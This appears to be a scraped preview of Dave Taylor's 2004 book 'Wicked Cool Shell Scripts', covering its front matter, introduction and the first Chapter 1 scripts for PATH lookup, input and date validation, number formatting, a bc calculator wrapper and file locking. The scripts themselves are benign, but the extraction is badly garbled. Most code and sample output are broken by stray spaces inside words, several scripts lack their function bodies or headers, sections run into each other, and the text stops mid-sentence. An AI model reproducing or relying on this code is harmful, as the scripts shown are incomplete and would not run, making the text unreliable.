Professional Documents
Culture Documents
Wicked Cool Shell Scripts - 101 Scripts For Linux, Mac OS X, and Unix Systems (2004) PDF
Wicked Cool Shell Scripts - 101 Scripts For Linux, Mac OS X, and Unix Systems (2004) PDF
Systems
by Dave Taylor ISBN:1593270127
No Starch Press 2004
This cookbook of useful, customizable, and fun scripts gives you the tools to solve
common Linux, Mac OS X and UNIX problems and personalize your computing
environment.
Table of Contents
Wicked Cool Shell Scripts101 Scripts for Linux, Mac OS X, and Unix Systems
Introduction
Chapter 1 - The Missing Code Library
Chapter 2 - Improving on User Commands
Chapter 3 - Creating Utilities
Chapter 4 - Tweaking Unix
Chapter 5 - System Administration: Managing Users
Chapter 6 - System Administration: System Maintenance
Chapter 7 - Web and Internet Users
Chapter 8 - Webmaster Hacks
Chapter 9 - Web and Internet Administration
Chapter 10 - Internet Server Administration
Chapter 11 - Mac OS X Scripts
Chapter 12 - Shell Script Fun and Games
Afterword
Index
List of Figures
List of Tables
Back Cover
The UNIX shell is the main scripting environment of every Linux, Mac OS X and UNIX system,
whether a rescued laptop or a million-dollar mainframe. This cookbook of useful, customizable, and
fun scripts gives you the tools to solve common Linux, Mac OS X and UNIX problems and
personalize your computing environment. Among the more than 100 scripts included are an
interactive calculator, a spell checker, a disk backup utility, a weather tracker, and a web logfile
analysis tool. The book also teaches you how to write your own sophisticated shell scripts by
explaining the syntax and techniques used to build each example scripts. Examples are written in
Bourne Shell (sh) syntax.
Dave Taylor has a Masters degree in Education, an MBA, and has written a dozen technical books,
including Learning UNIX for Mac OS X (O'Reilly), Solaris for Dummies (Hungry Minds), and Teach
Yourself UNIX in 24 Hours (SAMS). He was a contributor to BSD 4.4 UNIX, and his software is
included in many major UNIX distributions.
Wicked Cool Shell Scripts101 Scripts for Linux, Mac OS X,
and Unix Systems
by Dave Taylor
San Francisco
All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or
mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior
written permission of the copyright owner and the publisher.
No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other product and
company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark
symbol with every occurrence of a trademarked name, we are using the names only in an editorial fashion and to the
benefit of the trademark owner, with no intention of infringement of the trademark.
Compositor: Wedobooks
Kevin & Kell strip on page 209 reproduced with permission of Bill Holbrook, creator of Kevin & Kell.
For information on translations or book distributors, please contact No Starch Press, Inc. directly:
The information in this book is distributed on an "As Is" basis, without warranty. While every precaution has been
taken in the preparation of this work, neither the author nor No Starch Press, Inc. shall have any liability to any person
or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information
contained in it.
Taylor, Dave.
Wicked cool shell scripts / Dave Taylor.
p. cm.
ISBN 1-59327-012-7
QA76.76.O63T3895 2004
005.4'32--dc22
2003017496
Introduction
If you've used Unix for any length of time, you've probably found yourself starting to push the envelope, tweak how
things work, change the default flags for commands you use a lot, and even create rudimentary shell scripts that
automate simple tasks in a coherent fashion. Even if all you've done is to create an alias or two, you've taken the first
step on the road to being a shell script hacker extraordinaire, as you'll soon see.
I've been using Unix for more years than I want to think about, and it's a great OS, especially because I can tweak,
tune, and hack it. From simply automating common tasks to creating sophisticated, user-friendly versions of existing
Unix commands, and creating brand-new utilities that serve a useful purpose, I've been creating spiffo little shell scripts
for quite a while.
This book is about making Unix a friendlier, more powerful, and more personal computing environment by exploiting
the remarkable power and capabilities of the shell. Without writing a single line of C or C++, without invoking a single
compiler and loader, and without having to take any classes in program design and methodology, you'll learn to write
dozens of wicked cool shell scripts, ranging from an interactive calculator to a stock ticker monitor, and a set of scripts
that make analyzing Apache log files a breeze.
But as the public network became more pervasive, a subset of these hackers started to migrate to remote system
break-in missions, with a zeal that rather overwhelmed the rest of us. Nowadays, many consider hacking a bad thing,
as in "hacking into the secure Department of Energy database." However, I like to think of hacking as being a more
benign, intellectually engaging, and considerably less criminal enterprise, more akin to the wonderful praise a computer
aficionado can offer with the compliment "Cool hack!"
The original command shell of note is the Bourne Shell, written by Steven Bourne at AT&T Bell Labs in the early days
of Unix. It's probably still on your Unix box as /b in/ sh, and while it's not sexy, and its syntax may be a bit odd, it's a
simple and powerful scripting environment so sufficiently common across Unixes that it's the lingua franca of the shell
scripting world.
The Free Software Foundation's open source reimplementation of the Bourne Shell goes by the name of b ash , the
Bourne Again Shell. It is a lot more than just a reimplementation of a 20-year-old command shell, however; it's both a
great scripting environment and a highly capable interactive user shell. On many Linux systems, /bi n/sh is actually
a hard link to ba sh .
And then there is the C Shell, UC Berkeley's most important innovation in the realm of shell script hacking. The C Shell
replaced the odd Bourne Shell syntax with a command syntax more like its namesake language, C.
As with many facets of Unix, passions are strong about which scripting environment is the best, with three predominant
camps: Bourne Shell, Korn Shell, and C Shell. But all is not equal. Consider the well-known article "Csh Programming
Considered Harmful" [1 ] whose author, Tom Christiansen, points out, quite correctly:
I am continually shocked and dismayed to see people write test cases, install scripts, and other
random hackery using the c sh. Lack of proficiency in the Bourne shell has been known to cause
errors in / e tc/ r c and . c ron rc files, which is a problem, because you must write these files in
that language.
The c s h is seductive because the conditionals are more C-like, so the path of least resistance is
chosen and a c s h script is written. Sadly, this is a lost cause, and the programmer seldom even
realizes it, even when they find that many simple things they wish to do range from cumbersome to
impossible in the csh .
I agree wholeheartedly with Tom, and hence in this book we will eschew the use of the C Shell. If you're a strong
advocate of the C Shell, well, you should find it easy to rewrite almost all of the scripts in this book to fit your shell.
Similarly, many people are advocates of the Korn Shell, which has a terrific interactive command line but, I feel, is less
capable as a scripting environment.
When evaluating a shell, consider both its interactive capabilities (such as aliases, command-line history, on-the-fly
spelling corrections, helpful error messages) and its scripting capabilities. This book focuses on the scripting side of
things, and so the scripts presented here will be Bourne Shell scripts (with an occasional sprinkling of bash or POSIX
shell tweaks for entertainment value) and should work just fine on any Unix you may have.
Hopefully, with the release of Solaris 10 Sun will just say "ciao!" to the legacy problems and include a POSIX-compliant
version of the Bourne Shell as the default /bin /sh , and this will all go away as a problem.
[1 ] Online at ht tp : //w w w.f a qs. o rg/ faqs /un ix-f aq/s hell /csh -w hyno t/
Organization of This Book
This book is organized into 12 chapters that reflect the wide range of different ways that shell scripts can improve and
streamline your use of Unix. If you're a Mac OS X fan as I am rest assured that almost every script in this book
will work just fine in both Jaguar and Panther, with the exception of those scripts that check the / e tc /p a ss wd file for
account information. (The user password information is in the NetInfo database instead. Visit the book's website for a
discussion of this issue and how to work with n i rep o r t and ni du mp instead.)
You'll find all the scripts discussed in this book as well as several bonus scripts, including games, some Mac OS X-
specific hacks, and others that didn't make the final cut for the book, but which are still worth examination and study.
You'll also find a link to the official errata list for this book (worth checking especially if you're finding that a script isn't
working for you) and information about the many other books I've written on Unix and web-related topics.
Acknowledgments
A remarkable number of people have contributed to the creation and development of this book, most notably Dee-Ann
LeBlanc, my first-generation tech reviewer and perpetual IM buddy, and Richard Blum, tech editor and scripting expert,
who offered significant and important commentary regarding the majority of the scripts in the book. Nat Torkington
helped with the organization and robustness of the scripts. Others who offered invaluable assistance during the
development phase include Andrey Bronfin, Martin Brown, Brian Day, Dave Ennis, Werner Klauser, Eugene Lee, Andy
Lester, and John Meister. The MacOSX.com forums have been helpful (and are a cool place to hang out online), and
the AnswerSquad.com team has offered great wisdom and infinite opportunities for procrastination. Finally, this book
wouldn't be in your hands without the wonderful support of Bill Pollock and stylistic ministrations of Hillel Heinstein,
Rebecca Pepper, and Karol Jurado: Thanks to the entire No Starch team!
I'd like to acknowledge the support of my family, Linda, Ashley, and Gareth. Though there's always something going on
and someone wanting to play, some-how they've given me enough room to develop a tremendous number of scripts
and write a book about it all. Amazing!
Finally ...
I hope you enjoy this book, find the scripts useful and interesting, and perhaps get more of a sense of the power and
sophistication of the shell programming environment along the way, which is certainly more powerful and capable than
most people realize. And fun. Did I mention that writing shell scripts is great fun? :-)
Dave Taylor
<taylor@intuitive.com>
htt p: //w ww .int uiti ve.c o m /
P.S. Please don't forget to check out AnswerSquad h t tp: / / ww w. an s we r sq ua d .c om / the next time you're
online. Staffed by dozens of computer experts for whom wicked cool is all in a day's work, it's unquestionably your best
option for computer technical support regardless of platform or software. I should know: I'm part of the team!
Chapter 1: The Missing Code Library
Overview
Unix's greatest strength is that it lets you create new commands by combining old ones in unique and novel ways.
However, although Unix includes hundreds of commands and there are thousands of ways to combine them, you will
still encounter situations in which nothing does the job quite right. This chapter focuses on scripts that allow you to
create smarter and more sophisticated programs within the constraints of shell scripts.
There's a secret that we should address up front: The shell script programming environment isn't as sophisticated as a
real programming environment. Perl, Python, and even C have structures and libraries that offer extended capabilities,
but shell scripts are more of a "roll your own" world. The scripts in this chapter will help you make your way in that
world. They'll serve as a set of tools that will let us write better, smarter, more sophisticated scripts later in the book.
Much of the challenge of script writing arises from the subtle variations between different flavors of Unix. While the IEEE
POSIX standards supposedly provide a common base of functionality across different Unix implementations, it can still
be confusing to use a Solaris system after a year in a Red Hat Linux environment. The commands are different, they're
in different locations, and they often have subtly different command flags. These variations can make writing shell
scripts difficult too, as you may imagine.
What Is POSIX?
The early days of Unix were like the mythical Wild West, with companies innovating and taking the operating system in
quite different directions while simultaneously assuring customers that the new operating systems were compatible and
just like the other Unixes. The Institute for Electrical and Electronic Engineers (IEEE) stepped in and, with a
tremendous amount of effort from all the major Unix vendors, created a standard version of Unix called POSIX, against
which all the commercial and open source Unix implementations are measured. You can't buy a POSIX operating
system per se, but the Unix or Linux you run is POSIX compliant.
Yet even POSIX-compliant Unix implementations can vary. One example of this that will be addressed later in this
chapter involves the ech o command. Some versions of this command support an -n flag, which disables the trailing
newline that's a standard part of the command execution. Other versions of e ch o support the \ c escape sequence as
a special "don't include a newline" notation, while still others ignore it all and have no apparent way to avoid newlines.
To make things even more puzzling, some command shells have a built-in e ch o function that ignores the -n and \ c
flags, while the same Unix system usually also has a stand-alone binary /b in / ec h o that understands these flags.
This makes prompting for input in a shell script quite tough, because ideally the script should work identically on as
many Unix systems as possible. For functional scripts, needless to say, it's critical to normalize the e ch o command,
and that's just one of the many scripts included in this book.
Let's get started looking at actual scripts to include in our shell script library.
#1 Finding Programs in the PATH
Shell scripts that use environment variables (like MAILER and PAGER) have a hidden danger: Some of their settings
may well point to nonexistent programs. For example, if you decide to be flexible by using the PAGER setting to
display script output, instead of just hard-coding a specific tool, how do you ensure that the PAGER value is set to a
valid program? After all, if it's not a valid program, your script will break. This first script addresses how to test whether
a given program can be found in the user's PATH, and it's also a good demonstration of a number of different shell
scripting techniques, including script functions and variable slicing.
The Code
# !/ bin / sh
# i npa t h - V eri fi es t hat a spe c ifi e d pr o g ra m is ei th e r v al id as i s ,
# or tha t it ca n be fou nd in the P ATH d ir ec to r y li s t.
i n_ pat h ()
{
# Gi v en a com ma nd a nd t he PA T H, t r y t o fi nd t h e co m ma n d. R e tu rn s
# 0 i f f ou nd an d ex ecut able, 1 i f not . No te t h at t h is te mp o ra ri l y mo d if ie s
# th e IF S (in pu t fi eld separ a tor ) but r es to re s i t u po n c om p le ti o n.
Where to put your scripts I recommend that you create a new directory called "scripts,"
probably as a part of your HOME directory, and then add that fully
qualified directory name to your PATH variable. (Use e ch o
$PA T H to see your current PATH, and edit the contents of your
.login or .profile (depending on the shell) to modify your PATH
appropriately.)
Running the Script
To run this script, we first need to append a short block of commands to the very end of the file. These commands
pass a starting parameter to the validation program and check the return code, like so:
i f [ $ # -n e 1 ] ; the n
ec ho " Usa ge : $ 0 comm and" >&2 ; ex i t 1
fi
e xi t 0
Once you've added the additional code snippet, you can invoke this script directly, as shown in "The Results," next.
Make sure to remove or comment out the additional code before you're done with this script, however, so its later
inclusion as a library function doesn't mess things up.
The Results
To test the script, let's invoke inpat h with the names of three programs: a program that exists, a program that exists
but isn't in the PATH, and a program that does not exist but that has a fully qualified filename and path:
$ i npa t h e ch o
e ch o f o und i n P AT H
$ i npa t h M rE cho
M rE cho not f oun d in P ATH
$ i npa t h / us r/b in /MrE cho
/ us r/b i n/M rE cho n ot f ound or n o t e x e cut a b le
This is a pretty dense explanation, admittedly, but the key to getting ch e ck - F or C md In P at h to work is for it to be
able to differentiate between variables that contain just the program name (like e ch o ) and variables that contain a full
directory path plus the filename (like "/b in/e c h o"). It does this by examining the very first character of the given
value to see if it's a "/" or not; hence the need to isolate the first character from the rest of the variable value.
If this POSIX notation is too funky for you, Bash and Ksh support another method of variable slicing. The substring
function ${v ar nam e: sta rt :siz e} requests a certain number of characters from va r na me specified by s iz e
and beginning with the character number in v a rna m e specified by s t ar t. For example, $ {v ar n am e: 1 :1 } would
produce a substring consisting of just the first character of v a r na me . Of course, if you don't like either of these
techniques for extracting just the first character, you can also use a system call: $ (e ch o $ va r | c u t -c 1 ).
Note Script #47 in the Administrative Tools chapter is a useful script that's closely related to this one. It validates
both the directories in the PATH and the environment variables in the user's login environment.
#2 Validating Input: Alphanumeric Only
Users are constantly ignoring directions and entering data that's inconsistent or incorrectly formatted, or that uses
incorrect syntax. As a shell script developer, you need to intercept and correct these errors before they become
problems.
A typical situation you may encounter in this regard involves filenames or database keys. You prompt the user for a
string that's supposed to be made up exclusively of uppercase characters, lowercase characters, and digits. No
punctuation, no special characters, no spaces. Did they enter a valid string or not? That's what this script tests.
The Code
# !/ bin / sh
# v ali d Alp ha Num - Ens ures that inp u t co n s is ts o n ly o f a l ph ab e ti ca l
# a nd n ume ri c c ha ract ers.
e xi t 0
How It Works
The logic of this script is straightforward. First, it transforms the input with a s ed - based transform to create a new
version of the input data, and then it compares the new version with the original. If the two versions are the same, all is
well. If not, the transform lost data that wasn't part of the acceptable alphanumeric (alphabetic plus numeric) character
set, and the input was unacceptable.
Specifically, the s ed substitution is for any characters not in the set [ :a ln u m: ] , the POSIX shorthand for the local
definition of all upper-and lowercase characters and digits (a lnu m stands for alphanumeric). If this new, compressed
value doesn't match the input entered earlier, the removal of all the alphanumeric values reveals nonalphanumeric
values in the input string (which is illegal) and the function returns a nonzero result, indicating a problem.
This script is a good example of a general shell script programming technique. Write your functions and then test them
before you integrate them into larger, more complex scripts. It'll save lots of headaches.
The Results
$ v ali d aln um
E nt er i npu t: va li d123 SAMP LE
I np ut i s v al id.
$ v ali d aln um
E nt er i npu t: th is is most assu r edl y NOT v al id , 1 23 45
Y ou r i n put m ust c onsi st o f onl y le t t ers a nd n um b er s.
A simple test for valid phone number input (allowing integer values, spaces, parentheses, and dashes) could be
s ed 's / [^[ :d igi t: ]\(\ )- ] //g'
To force integer values only, though, beware of a pitfall. You might try the following:
s ed 's / [^[ :d igi t: ]]// g'
But what if you want to permit entry of negative numbers? If you just add the minus sign to the valid character set, -3-
4 would be a valid input, though it's clearly not a legal integer. The particular issue of handling negative numbers is
addressed in Script #5, Validating Integer Input, later in this chapter.
#3 Normalizing Date Formats
One problematic issue with shell script development is the number of inconsistent data formats; normalizing them can
range from tricky to quite difficult. Date formats are some of the most challenging to work with because a date can be
specified in several different ways. Even if you prompt for a specific format, like "month day year," you're likely to be
given inconsistent input: a month number instead of a month name, an abbreviation for a month name, or a full name in
all uppercase letters.
For this reason, a function that normalizes dates, though rudimentary on its own, will prove to be a very helpful building
block for subsequent script work, especially Script #7, Validating Date Formats.
The Code
# !/ bin / sh
# n orm d ate - - N or mali zes month fie l d in d at e sp e ci fi c at i on
# t o t h ree l ett er s, f irst lett e r c a p ita l i ze d. A he lp e r
# f unc t ion f or Sc ript #7, vali d -da t e . E x i ts w / z er o i f n o er r or .
# # Beg i n m ai n s cr ipt
i f [ $ # -n e 3 ] ; the n
e cho "Us ag e: $0 mon th d ay ye a r" > & 2
e cho "Ty pi cal i nput for mats a re A u gus t 3 19 62 an d 8 3 20 02 " > &2
e xit 1
fi
i f [ $ 3 -l t 99 ] ; th en
e cho "$0 : exp ec ted four -digi t ye a r va l u e. " >& 2 ; ex i t 1
fi
e ch o $ m ont h $2 $3
e xi t 0
How It Works
Notice the third conditional in this script:
i f [ - z $( ec ho $1 |sed 's/ [[:di g it: ] ] //g ' ) ] ; th e n
It strips out all the digits and then uses the -z test to see if the result is blank or not. If the result is blank, the first
input field must be a digit or digits, so it's mapped to a month name with a call to mo n th no T oN am e . Otherwise, a
complex sequence of cu t and tr pipes follows to build the value of mo n th by having two subshell-escaped
sequences (that is, sequences surrounded by $( and) so that the enclosed command is invoked and its output
substituted). The first of the sequences shown here extracts just the first character and forces it to uppercase with t r .
(The sequence ec ho $1 |c ut - c1 could also be written as $ {1 %$ {1 # ?} } in the POSIX manner, as seen
earlier.) The second of the sequences extracts the second and third characters and forces them to be lowercase:
m on th= " $(e ch o $ 1| cut -c1| tr '[ : low e r :]' ' [: up pe r :] ') "
m on th= " $mo nt h$( ec ho $ 1|cu t -c2 - 3 | t r ' [ : up pe r: ] ' '[ : lo w er :] ' )"
The Results
This script does what we hoped, normalizing date formats as long as the format meets a relatively simple set of criteria
(month name known, month value between 1 and 12, and a four-digit year value). For example,
$ n orm d ate 8 3 62
n or mda t e: ex pec te d fo ur-d igit y ear v alu e .
$ n orm d ate 8 3 19 62
A ug 3 1 962
$ n orm d ate A UGU ST 3 1 962
A ug 3 1 962
With this modification, you could also enter the following common formats and normalize them too:
$ n orm d ate M arc h- 11-1 911
M ar 11 191 1
$ n orm d ate 8 /3/ 19 62
A ug 3 1 962
#4 Presenting Large Numbers Attractively
A common mistake that programmers make is to present the results of calculations to the user without first formatting
them. It's difficult for users to ascertain whether 43245435 goes into the millions without manually counting from right to
left and mentally inserting a comma every three digits. Use this script to format your results.
The Code
# !/ bin / sh
# n ice n umb er -- G iven a n umber , sh o w s i t in c om m a- se p ar a te d f or m.
# E xpe c ts DD an d TD t o be inst a nti a t ed. I ns ta nt i at es ni c en um
# o r, i f a s eco nd arg is speci f ied , the o ut pu t i s ec h oe d t o s td ou t .
n ic enu m ber ()
{
# No t e t ha t w e assu me t hat ' . ' i s the d ec im al se pa r at o r in
# th e IN PU T v al ue t o th is sc r ipt . The d ec im al se pa r at o r in th e o ut pu t v al u e is
# '. ' un le ss sp ecif ied by th e us e r wi t h t he - d f la g
i f [ $ # -e q 0 ] ; the n
e cho "Us ag e: $( base name $0) [ -d c ] [- t c] n um e ri c v al u e"
e cho " -d sp ec ifie s th e dec i mal p oin t de li mi t er ( d ef a ul t ' .' )"
e cho " -t sp ec ifie s th e tho u san d s de l i mi te r ( de fa u lt ', ') "
e xit 0
fi
How It Works
The heart of this script is the wh ile loop within the ni c e num b er function, which takes the numeric value and
iteratively splits it into the three least significant digits (the three that'll go to the right of the next comma) and the
remaining numeric value. These least significant digits are then fed through the loop again.
Because the function outputs a numeric result, the result can be incorporated within an output message, as
demonstrated here:
e ch o " D o y ou re al ly w ant to pa y $( n i cen u m be r $p r ic e) do l la rs ? "
The Results
$ n ice n umb er 58 94 625
5 ,8 94, 6 25
$ n ice n umb er 58 94 6253 2.43 3
5 89 ,46 2 ,53 2. 433
$ n ice n umb er -d , -t. 5894 62532 . 433
5 89 .46 2 .53 2, 433
On the other hand, I did hard-code the "." as the decimal separator for input values, so if you are anticipating
fractional input values using a different delimiter, you can change the two calls to c ut that specify a ". " as the
decimal delimiter. Here's one solution:
i nt ege r =$( ec ho $1 | c ut " -d$DD " -f 1 ) # l ef t o f t he de ci m al
d ec ima l =$( ec ho $1 | c ut " -d$DD " -f 2 ) # r ig h t of th e d ec i ma l
This works, but it isn't particularly elegant if a different decimal separator character is used. A more sophisticated
solution would include a test just before these two lines to ensure that the expected decimal separator was the one
requested by the user. We could add this test by using the same basic concept shown in Script #2: Cut out all the
digits and see what's left:
s ep ara t or= "$ (ec ho $1 | se d 's/ [ [:d i g it: ] ] // g' )"
i f [ ! -z "$ sep ar ator " -a "$se p ara t o r" ! = " $D D" ] ; t he n
e cho "$0 : Unk no wn d ecim al se p ara t o r $ s e pa ra to r e nc o un t er ed . " >& 2
e xit 1
fi
#5 Validating Integer Input
As you saw in Script #2, validating integer input seems like a breeze until you want to ensure that negative values are
acceptable too. The problem is that each numeric value can have only one negative sign, which must come at the very
beginning of the value. The validation routine in this script makes sure that negative numbers are correctly formatted,
and, to make it more generally useful, it can also check that values are within a range specified by the user.
The Code
#! /b in /s h
# va li di nt - - V a lid a t es i nt e g er i np u t , a l lo w in g ne g a ti v e i n t s t o o.
fu nc ti on va l idi n t
{
# Va li dat e fi r st f i el d . T h e n t e st a ga i n st mi n va l u e $ 2 a n d /o r
# ma x val u e $ 3 if t he y ar e su p p li e d . I f t h ey a re n ot s up p l ie d , s k i p t he s e t es ts.
if [ - z $ n umb e r ] ; t h e n
ec ho "Y o u d i dn' t en t e r a n yt h i ng . Un a c ce p ta b l e. " >& 2 ; r e tu r n 1
fi
if [ ! -z $no d igi t s ] ; t h e n
ec ho "I n val i d n u m be r fo r m at ! On l y d i g it s , n o c o m ma s , s p a ce s , e t c ." >& 2
re tu rn 1
fi
if [ ! -z $mi n ] ; th e n
if [ "$ n umb e r" - l t " $ mi n " ] ; t h e n
e cho "Yo u r v a l ue i s t o o s m al l : s m a ll e st a cc e p ta b l e v a lu e is $ mi n " > & 2
r etu r n 1
fi
fi
if [ ! -z $ma x ] ; th e n
i f [ " $ num b er" - gt " $m a x " ] ; t h en
e cho "Yo u r v a l ue i s t o o b i g: l ar g e st ac c e pt a b le v al u e i s $m a x " > &2
r etu r n 1
fi
fi
re tu rn 0
}
The Results
$ va li di nt 1 234 . 3
In va li d num b er f orm a t ! O n ly d ig i t s, n o c o mm a s, s pa c e s, e tc .
$ va li di nt 1 03 1 10 0
Yo ur v al ue i s t o o b i g : l a rg e s t a c ce p t ab l e v a lu e is 1 00
$ va li di nt - 17 0 25
Yo ur v al ue i s t o o s m a ll : sm a l le s t a c c ep t a bl e v a l ue i s 0
$ va li di nt - 17 - 20 2 5
Th at i np ut i s a val i d i n t eg e r v a l ue w it h i n y ou r co n s tr a i nt s
If the first character is a negative sign, t e s tv a l ue is assigned the numeric portion of the integer value. This
nonnegative value is then stripped of digits, and what remains is tested further.
You might be tempted to use a logical AND to connect expressions and shrink some of the nested if statements. For
example, it seems as though the following should work:
if [ ! -z $mi n -a " $n u m be r " - l t " $ m in " ] ; t h e n
e ch o " Y our val u e i s to o sm a l l: s ma l l es t a c c ep t a bl e va l u e i s $ m i n" >& 2
e xi t 1
fi
However, it doesn't work because you can't guarantee in a shell script AND expression that the second condition won't
be tested if the first proves false. It shouldn't be tested, but . . .
#6 Validating Floating-Point Input
Upon first glance, the process of validating a floating-point (or "real") value within the confines and capabilities of a
shell script might seem daunting, but consider that a floating-point number is only two integers separated by a decimal
point. Couple that insight with the ability to reference a different script inline (v a li d in t), and you can see that the
floating-point validation test is surprisingly short.
The Code
# !/ bin / sh
v al idf l oat ()
{
f val u e=" $1 "
if [ " ${ fra ct iona lPar t%${f r act i o nal P a rt #? }} " = " - " ] ; t h en
e cho " Inv al id f loat ing-p o int n umb e r : '- ' n ot a l lo w ed \
af te r d ec imal poi nt" > & 2
r etu rn 1
fi
if [ " $f rac ti onal Part " != " " ] ; th e n
i f ! v ali di nt " $fra ction a lPa r t " " 0 " " " ; t he n
re tu rn 1
fi
fi
e lse
if [ " $f val ue " = "-" ] ; t h en
e cho " Inv al id f loat ing-p o int f orm a t ." > &2 ; re t ur n 1
fi
r etu r n 0
}
Running the Script
If no error message is produced when the function is called, the return code is 0, and the number specified is a valid
floating-point value. You can test this script by appending the following few lines to the end of the code just given:
i f val i dfl oa t $ 1 ; th en
e cho "$1 i s a v alid flo ating - poi n t va l u e"
fi
e xi t 0
The Results
$ v ali d flo at 12 34 .56
1 23 4.5 6 is a va li d fl oati ng-po i nt v a lue
$ v ali d flo at -1 23 4.56
- 12 34. 5 6 i s a v al id f loat ing-p o int v alu e
$ v ali d flo at -. 75
- .7 5 i s a va lid f loat ing- point val u e
$ v ali d flo at -1 1. -12
I nv ali d fl oa tin g- poin t nu mber: '-' n ot a l lo we d a ft er de c im al po in t
$ v ali d flo at 1. 03 44e2 2
I nv ali d nu mb er fo rmat ! On ly di g its , no c o mm as , s pa ce s , e tc .
Debugging the debugging If you see additional output at this point, it might be because you added
a few lines to test out v a li di n t earlier, but forgot to remove them
when you moved on to this script. Simply go back to v al i di nt and
ensure that the last few lines that run the function are commented out
or deleted.
Notice how this script utilizes norm date (Script #3) to ensure a consistent date format before proceeding.
The Code
# !/ bin / sh
# v ali d -da te -- V alid ates a da t e, t a kin g in to a c co un t l e ap y e ar r u le s.
if [ $2 - lt 1 -o $ 2 -g t $da y s ] ; th e n
r e tur n 1
els e
r e tur n 0 # the day numb e r i s val i d
fi
}
i sL eap Y ear ()
{
# Th i s f un cti on ret urns 0 if a l e a p y e a r; 1 o t he rw i se .
# Th e fo rm ula f or c heck ing w h eth e r a y e ar i s a l ea p y e ar i s :
# 1. Yea rs no t divi sibl e by 4 ar e not l ea p ye a rs .
# 2. Yea rs di vi sibl e by 4 an d by 4 00 a r e le ap ye ar s .
# 3. Yea rs di vi sibl e by 4, n o t d i v isi b l e by 4 0 0, a n d d iv is i bl e b y 10 0 ,
# ar e no t lea p year s.
# 4. All o the r year s di visib l e b y 4 a r e l ea p y ea rs .
y ear = $1
i f [ "$( (y ear % 4)) " -n e 0 ] ; then
re t urn 1 # no pe, not a lea p ye a r
e lif [ " $( (ye ar % 4 00)) " -eq 0 ] ; th e n
re t urn 0 # ye s, i t's a lea p ye a r
e lif [ " $( (ye ar % 1 00)) " -eq 0 ] ; th e n
re t urn 1
e lse
re t urn 0
fi
}
# # Beg i n m ai n s cr ipt
i f [ $ # -n e 3 ] ; the n
e cho "Us ag e: $0 mon th d ay ye a r" > & 2
e cho "Ty pi cal i nput for mats a re A u gus t 3 19 62 an d 8 3 20 02 " > &2
e xit 1
fi
i f [ $ ? -e q 1 ] ; the n
e xit 1 # err or c ondit i on a l rea d y r ep or t ed b y n o rm da t e
fi
e xi t 0
The Results
$ v ali d -da te au gu st 3 196 0
V al id d ate : Aug 3 196 0
$ v ali d -da te 9 31 200 1
v al id- d ate : bad d ay v alue : Sep doe s n 't h a ve 3 1 d ay s
$ v ali d -da te fe b 29 2 004
V al id d ate : Feb 2 9 20 04
$ v ali d -da te fe b 29 2 006
v al id- d ate : 200 6 is n ot a leap yea r , so F eb d oe s n' t h av e 2 9 d ay s
Figuring out whether your particular ech o is well implemented is easy: Simply type in the following on the command
line and see what happens:
$ e cho -n "T he ra in i n Sp ain"; ech o " f a l ls m ai n ly o n t h e Pl a in "
Ensuring that the script output is presented to the user as desired is quite important and will certainly become
increasingly important as our scripts become more interactive.
The Code
There are as many ways to solve this quirky ec h o problem as there are pages in this book. One of my favorites is
very succinct:
f un cti o n e ch on
{
e cho "$* " | a wk '{ prin tf "% s " $ 0 }'
}
You may prefer to avoid the overhead incurred when calling the a wk command, however, and if you have a user-level
command called p rin tf you can use it instead:
e ch on( )
{
p rin t f " %s " " $* "
}
But what if you don't have p rint f and you don't want to call a wk ? Then use the tr command:
e ch on( )
{
e cho "$* " | t r -d ' \n'
}
This method of simply chopping out the carriage return with tr is a simple and efficient solution that should be quite
portable.
So when calculating values that need better precision, you've got a challenge on your hands. There just aren't many
good calculator programs that work on the command line. Except, that is, for b c, an oddball program that few Unix
people are taught. Billing itself as an arbitrary-precision calculator, the bc program harkens back to the very dawn of
Unix, with its cryptic error messages, complete lack of prompts, and assumption that if you're using it, you already know
what you're doing. But that's okay. We can cope.
The Code
# !/ bin / sh
i f [ $ 1 = "- p" ] ; th en
p rec i sio n= $2
s hif t 2
e ls e
p rec i sio n= 2 # defa u lt
fi
b c -q < < E OF
s ca le= $ pre ci sio n
$*
q ui t
E OF
e xi t 0
How It Works
This script demonstrates the useful here document capability in shell scripting. The << notation allows you to include
material in the script that is treated as if it were taken directly from the input stream, which in this case allows an easy
mechanism for handing commands to the bc program.
This is also our first script that demonstrates how command arguments can be utilized within a script to enhance the
flexibility of a command. Here, if the script is invoked with a - p flag, it allows you to specify the desired scale. If no
scale is specified, the program defaults to s ca le = 2 .
When working with bc, it's critical to understand the difference between l e ng t h and sc al e . As far as bc is
concerned, l en gth refers to the total number of decimal digits in the number, while sc a le is the total number of
digits after the decimal point. Thus, 10.25 has a l e n gth of four and a s ca l e of two, while 3.14159 has a l en gt h
of six and a s cal e of five.
By default, bc has a variable value for l engt h , but because it has a sc al e of zero, bc without any modifications
works exactly as the $( () ) notation does. Fortunately, if you add a s ca le setting to bc , you find that there's lots of
hidden power under the hood, as shown here:
$ bc
b c 1.0 5
C op yri g ht 19 91, 1 992, 199 3, 19 9 4, 1 9 97, 1 99 8 Fr e e So f tw a re F o un da t io n, In c.
T hi s i s fr ee so ft ware wit h ABS O LUT E L Y N O WA RR AN T Y.
F or de t ail s typ e `war rant y'.
s ca le= 1 0
( 20 02- 1 962 )* 365
1 46 00
1 46 00/ 7
2 08 5.7 1 428 57 142
q ui t
To allow access to the bc capabilities from the command line, a wrapper script has to silence the opening copyright
information, if present, even though most b c implementations know that they should silence the header if their input
isn't the terminal (st di n). The wrapper also sets the s c ale to a reasonable value, feeds in the actual expression to
the b c program, and then exits with a quit command.
The Results
$ s cri p tbc 1 460 0/ 7
2 08 5.7 1
$ s cri p tbc - p 1 0 1460 0/7
2 08 5.7 1 428 57 142
#10 Locking Files
Any script that reads or appends to a shared data file, such as a log file, needs a reliable way to lock the file so that
other instantiations of the script don't step on the updates. The idea is that the existence of a separate lock file serves
as a semaphore, an indicator that a different file is busy and cannot be used. The requesting script waits and tries
again, hoping that the file will be freed up relatively promptly, denoted by having its lock file removed.
Lock files are tricky to work with, though, because many seemingly foolproof solutions fail to work properly. For
example, the following is a typical approach to solving this problem:
w hi le [ -f $ loc kf ile ] ; do
s lee p 1
d on e
t ou ch $ loc kf ile
Seems like it would work, doesn't it? You loop until the lock file doesn't exist, then create it to ensure that you own the
